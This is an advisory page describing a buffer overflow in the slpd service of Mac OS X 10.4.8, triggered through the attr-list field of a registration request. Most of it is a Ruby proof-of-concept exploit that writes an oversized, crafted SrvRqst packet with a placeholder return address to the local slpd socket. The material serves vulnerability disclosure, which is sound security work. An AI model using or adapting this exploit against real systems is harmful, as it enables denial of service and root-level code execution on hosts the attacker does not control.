|
Brought to you by:
Suppliers of:
|
|
|
| |
"The Service Location Protocol provides a scalable framework for the discovery and selection of network services."
slpd is vulnerable to a buffer overflow condition when processing the attr-list field of a registration request, leading to an exploitable denial of service condition and potential arbitrary execution. It would allow unprivileged local (and possibly remote) users to execute arbitrary code under root privileges. |
| |
Credit:
The original article can be found at:
http://www.milw0rm.com/exploits/3151
|
| |
Vulnerable Systems:
* Mac OS X version 10.4.8.
Exploit:
#!/usr/bin/ruby
# (c) Copyright 2006 Lance M. Havok <lmh [at] info-pull.com>
# Kevin Finisterre <kf_lists [at] digitalmunition.com>
# All pwnage reserved.
#
# Proof of concept for MOAB-17-01-2007
# http://projects.info-pull.com/moab/MOAB-17-01-2007.html
#
# Originally reported to Apple by Kevin, on 08/02/2006.
require 'socket'
target_path = (ARGV[0] || '/var/run/slp_ipc')
slp_socket = UNIXSocket.open(target_path)
payload = ("\x58" * 506)
payload << [0xdeadbeef].pack("V") # ...it expects a valid mem. address (ex. 0xbffff398)
stream = "\x01" + # SrvRqst = 1
"\x00\x13" + # Length of remaining fields? (up to attr-list)
"\x04\x00\x00\x00\x00\x00\x00" +
"\x00\x02\x00\x00" + # length of scope-list string
"\x78\x78" + # <scope-list>
"\xff\x03\x00\x00" + # length of attr-list string 0x3ff = 1023 in hex.
(payload) # <attr-list>
slp_socket.write stream
slp_socket.close
|
|
|
|
|
